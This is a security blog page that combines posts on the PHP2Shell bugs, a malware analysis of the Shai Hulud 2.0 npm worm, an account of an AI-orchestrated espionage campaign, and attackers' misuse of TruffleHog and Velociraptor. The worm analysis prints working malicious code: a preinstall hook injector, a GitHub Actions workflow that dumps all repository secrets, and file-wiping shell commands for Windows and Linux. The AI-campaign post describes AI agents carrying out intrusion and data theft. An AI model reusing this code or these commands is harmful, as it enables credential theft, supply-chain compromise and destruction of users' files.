Cyber Security
|
On October 21, PHP shipped emergency fixes for two bugs in the language itself, CVE-2026-109618 and CVE-2026-109619. Together they're being called PHP2Shell. Both can lead to remote code execution with no login. PHP rates each one 9.2 on CVSS v4.0.
We've had bad PHP bugs before. What makes this one stick with me is not the score. It's that the flaw sat in PHP for over a decade, and the bug class looked too hard to weaponize. Then researchers working with frontier AI models showed it was. That's the part every security leader should sit with. The bar for "exploitable" just moved.
0 Comments
The Shai Hulud 2.0 incident is a reminder of how quickly the software supply chain can shift from "something we manage" to "something that can collapse beneath us." A single compromised developer account led to an attack that moved across NPM packages, GitHub Actions, and cloud environments in minutes. For anyone responsible for engineering or security, this is not just another breach. It is a clear signal of where threats are headed. It Followed the Paths We BuiltThe biggest lesson is about the architecture we all operate on. This malware did not break down doors. It simply followed the same paths our code and automation already use. It moved through package publishing, CI pipelines, cloud APIs, and developer tokens because the trust models around these systems are loose and often outdated. In modern engineering environments, every credential, token, and workflow is part of the attack surface. Ignoring that reality does not make it less true. CI/CD Is ProductionShai Hulud 2.0 also shows how important it is to secure the systems around code, not just the code itself. We cannot keep treating CI/CD pipelines as harmless glue. They are production systems in every meaningful sense. They deploy software, touch secrets, and often run with broad permissions. If those pipelines are not tightly controlled, attackers can use them just as easily as we do. Developer Convenience Cuts Both WaysAnother important shift highlighted by this incident is how easily the developer experience can be turned against us. The same conveniences that speed up development (automated publishing, dependency installs, seamless workflow triggers) can help an attacker move even faster. The answer is not to slow engineering down, but to make automation safer. Short-lived credentials, tighter permissions, required validations, and behavioral monitoring should be baseline expectations, not optional upgrades. There is also a cultural challenge here. Security and engineering teams often think about automation risks differently. But this attack shows how tightly connected the two worlds have become. The attack surface is no longer only servers or networks. It is the entire process of building and releasing software. If teams do not align on that view, gaps will appear and attackers will take them. What Comes NextShai Hulud 2.0 gives us a clear picture of what modern supply-chain attacks look like. They are fast, automated, and designed to exploit the systems we rely on the most. The organizations that adapt will be the ones that expand their definition of supply-chain security to include source control, CI/CD, cloud secrets, developer identity, and automation itself. This incident was not just a breach. It was a warning. The question for each of us now is simple: when the next version of this attack appears, will our pipelines and processes be ready for it? SourcesShai Hulud 2.0 is a self-propagating NPM supply-chain worm that compromised packages and CI/CD environments at scale. Unlike earlier targeted incidents, it is fully automated. It steals developer credentials, republishes trojanized packages, and spreads across GitHub Actions pipelines in minutes.
Campaign Overview and Worm ArchitectureThe infection chain spans three ecosystems:
Reverse-Engineering the Obfuscated PayloadAt the heart of Shai Hulud 2.0 is a massive, heavily obfuscated JavaScript payload (over 480,000 lines when pretty-printed). Static analysis suggests the attackers used a JS obfuscator, likely javascript-obfuscator, which produces hex IDs for variable names and wraps modules in loader functions. The core logic can still be deobfuscated. Here is the execution flow. 1. Initial dropper: the NPM preinstall scriptThe worm gets in by injecting a malicious preinstall hook into legitimate packages. The package's package.json is altered to include: "scripts": { "preinstall": "node setup_bun.js" }As soon as someone runs npm install on an infected package, the dropper runs. The republishing routine adds this hook automatically and bumps the patch version so it doesn't clash with the existing version on NPM: if (!packageJson.scripts) packageJson.scripts = {}; packageJson.scripts.preinstall = "node setup_bun.js"; if (typeof packageJson.version === "string") { let parts = packageJson.version.split('.'); if (parts.length === 3) { parts[2] = (Number(parts[2]) || 0) + 1; // increment patch version } packageJson.version = parts.join('.'); }2. Bun installationThe dropper (setup_bun.js) sets up the execution environment. Shai Hulud 2.0 runs its payload on the Bun runtime instead of Node.js. Bun is fast and less commonly watched by EDR and AV tools, which gives the malware both stealth and speed. If Bun isn't installed, the dropper fetches it:
const bunExecutable = findBunExecutable() || await downloadAndSetupBun(); const environmentScript = path.join(__dirname, 'bun_environment.js'); if (fs.existsSync(environmentScript)) { runExecutable(bunExecutable, [environmentScript]); // Launch payload via Bun } else { process.exit(0); }Running the heavy payload in a separate Bun process decouples it from the NPM lifecycle, so scanning the filesystem for secrets doesn't noticeably slow down the install. 3. Payload execution and environment awarenessThe main payload checks whether it's in a CI pipeline or on a developer machine and changes its behavior to match. Deobfuscated pseudocode of the entry logic: async function mainPayload() { ... } async function start() { if (process.env.BUILDKITE || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILD_NUMBER || process.env.CIRCLE_SHA1) { // Running in CI (Buildkite, GitHub Actions, AWS CodeBuild, CircleCI) await mainPayload(); } else { // Dev machine: spawn a background process so the install doesn't block if (process.env.POSTINSTALL_BG !== '1') { const nodePath = process.execPath; const scriptPath = process.argv[1]; Bun.spawn([nodePath, scriptPath], { env: { ...process.env, POSTINSTALL_BG: '1' } }).unref(); return; // Exit quickly, payload continues in background } try { await mainPayload(); } catch { process.exit(0); } } } start().catch(() => process.exit(0));On a developer laptop the malware forks itself into a background Bun process and lets the foreground script exit, so npm install doesn't hang or look odd. In CI it runs inline, since build agents are ephemeral and nobody is watching the clock. 4. Credential harvestingOnce running, the payload starts several modules in parallel:
5. Worm propagationAfter theft comes spread. Shai Hulud 2.0 uses any valid credential it finds. NPM worming. If it finds an NPM token (NPM_TOKEN in the environment or in .npmrc), it validates it and gets the maintainer's username. It then pulls every package that maintainer owns and repacks each one. updatePackage() downloads the tarball, adds setup_bun.js and bun_environment.js, inserts the preinstall hook, and publishes a new version. It does this for up to 100 packages per token. One compromised developer becomes a hundred infected packages, and each of those can infect new developers. That is what made it an exponential worm. GitHub lateral movement. With a GitHub personal access token or Actions token, the malware enumerates every repository the token can reach. For each repo with Actions enabled, it injects a workflow named "Code Formatter" that runs on every push and dumps all repository secrets to an artifact: on: push jobs: lint: runs-on: ubuntu-latest env: DATA: ${{ toJSON(secrets) }} steps: - uses: actions/checkout@v5 - name: Run Formatter run: | echo "$DATA" > format.json - uses: actions/upload-artifact@v5 with: path: format.jsonIt creates a new branch, commits the file to .github/workflows/formatter_<random>.yml, and triggers it with a push. It waits for the run, grabs the format.json artifact holding the repo's secrets, saves them to the attacker's repository as actionsSecrets.json, and deletes the branch to cover its tracks. Backdoor runner. If it detects it's inside a Linux GitHub Actions runner, it quietly registers the machine as a self-hosted runner for an attacker-controlled GitHub project. It downloads the official Actions runner, installs it under a hidden directory such as $HOME/.dev-env/, and registers it with the name "SHA1HULUD" using a registration token and repo name embedded in the code. The runner starts on boot and runs with elevated privileges where it can. From then on the attacker can run arbitrary code on that host just by dispatching jobs to the SHA1HULUD runner. The first Shai Hulud wave used GitHub Discussions events as a trigger; self-hosted runners give the same persistent foothold. 6. Cleanup and destructive routineThe most alarming feature is a conditional wiper. If the worm can't get an NPM token or a GitHub token, it assumes it's stuck or caught and destroys the user's files: // If no tokens obtained, self-destruct: if (!npmToken && !fetchedGhToken) { console.log("Error 12"); if (system.platform === "windows") { Bun.spawnSync(["cmd.exe","/c", "del /F /Q /S \"%USERPROFILE%\\*\" && for /d %i in (\"%USERPROFILE%\\*\") do rd /S /Q \"%i\" & cipher /W:%USERPROFILE%"]); } else { Bun.spawnSync(["bash","-c", "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && "+ "find \"$HOME\" -depth -type d -empty -delete"]); } process.exit(0); }On Windows it deletes everything under the user profile and runs cipher /W to wipe free space. On Linux it runs shred -uvz over every writable file in the home directory, then removes empty folders. The likely goal is to burn the evidence when the worm can't spread. That is unusual for supply-chain malware. There's no ransom and no decryption here, just destruction. Connecting the Dots: From Supply Chain to CloudThe code lines up with what was seen across the wider campaign:
Further Reading A New Era for the Cyber Kill Chain: Lessons from the First AI-Orchestrated Espionage Campaign11/23/2025 A newly uncovered espionage operation has forced the cybersecurity world to acknowledge a fundamental shift: attackers are no longer just skilled operators, they are skilled operators augmented by autonomous AI. The recent campaign executed by GTG-1002 (tracked by Anthropic), a Chinese state-sponsored group, represents the first documented case of a cyberattack where 80 to 90 percent of the intrusion was carried out by AI systems with minimal human involvement. As someone who has built and led modern cloud-native security programs, I believe this campaign redefines how we interpret every stage of the Cyber Kill Chain. The model still holds, but the tempo, precision, and autonomy of the attacker have changed dramatically. Reconnaissance at Machine SpeedGTG-1002 initiated parallel reconnaissance against about 30 global targets, including technology companies, financial institutions, and government agencies, using AI agents orchestrated through Model Context Protocol tooling. Claude's autonomous agents scanned infrastructure, mapped authentication flows, discovered internal services, and maintained persistent multi-day context without human direction. The takeaway: your external perimeter is not scanned occasionally. It is scanned continuously by autonomous systems capable of evaluating hundreds of assets simultaneously. Weaponization and Exploitation Faster Than Patch CyclesThe campaign showed clearly that AI can independently identify vulnerabilities, develop tailored payloads, validate exploits through callback channels, and produce full exploitation reports in under four hours. Human operators only intervened to approve specific escalation steps. This collapse of the exploit timeline means defenders must assume that if their internal processes move slower than an attacker's AI, they are already compromised. Organizations must modernize patching, automate surface reduction, and tighten exception-driven change management. Lateral Movement Has Become Branching, Not LinearOnce inside the network, Claude harvested credentials, tested them across internal systems, mapped privilege boundaries, and explored multiple lateral movement paths in parallel. This is a significant departure from the sequential patterns most SIEM and EDR solutions are designed to detect. Parallel exploration shrinks detection windows dramatically. Defenders must shift toward analyzing clusters of suspicious activity rather than expecting an attacker to follow linear footsteps. Data Exfiltration Is Now Intelligence-DrivenInstead of exfiltrating large datasets, Claude autonomously queried databases, identified privileged accounts, created backdoor credentials, sorted results by sensitivity, and presented only high-value intelligence to the human operator for approval. Data theft has moved from bulk extraction to precision targeting. This requires defenders to monitor identity misuse, micro-anomalies, and contextual data flows. The Kill Chain Still Applies, but It Has CompressedGTG-1002 did not break the Cyber Kill Chain. They compressed it.
The implication is clear: defenders must operate at machine speed, or they will lose at machine speed. The Path Forward for Security LeadersAI-enabled attackers can now achieve the impact of elite threat groups with far fewer resources. To counter this, security leaders must:
Attackers have already evolved. Now defenders must do the same. Recent incidents involving TruffleHog and Velociraptor reveal an uncomfortable truth: attackers are now weaponizing the same tools defenders rely on. The boundary between offensive and defensive operations has blurred, and the implications for security leaders are significant. TruffleHog and the Crimson CollectiveRapid7's investigation into the Crimson Collective showed how the group used TruffleHog, a legitimate open-source utility, to locate exposed AWS credentials. Once validated, these keys gave the attackers full access to create new IAM users, attach administrative policies, and extract data from S3, EC2, and RDS environments. In several cases, they even used the victim's own AWS Simple Email Service to send extortion messages. A tool designed to prevent credential exposure became the entry point for large-scale compromise. For security leaders, this highlights the need to monitor how legitimate tools are being used inside their own environments. It's also worth asking whether you really need so many security tools in your environment. TruffleHog user-agent strings, CreateUser or AttachUserPolicy API calls, and unexplained credential simulations should trigger immediate investigation. Velociraptor and the Ransomware ConnectionCisco Talos reported that a China-based group known as Storm-2603 deployed an outdated version of Velociraptor to maintain persistence and control during ransomware operations. The version contained a privilege escalation flaw that allowed remote execution across compromised systems. Velociraptor, an open-source digital forensics and incident response tool, was repurposed as a control mechanism. The attackers disabled Microsoft Defender through Group Policy changes, created new domain admin accounts, and deployed ransomware variants, including LockBit, Warlock, and Babuk. A defensive tool became an enabler of stealth and persistence. Takeaways for Security LeadersBoth incidents demonstrate that open-source and defensive tools are increasingly being misused because they carry built-in trust, wide availability, and high privilege access. Attackers understand how defenders operate, and they are exploiting that predictability. Security leaders should focus on four priorities:
These cases mark a shift from exploiting software vulnerabilities to exploiting trust. Tools that were once considered safe can now become entry points. The defender's advantage in visibility and automation has become the attacker's leverage. Security leaders must assume that any security tool can be misused. The goal is not just to deploy and monitor tools, but to understand how they could be turned against the organization. In modern defense, trust without verification is a risk. Sources |
RSS Feed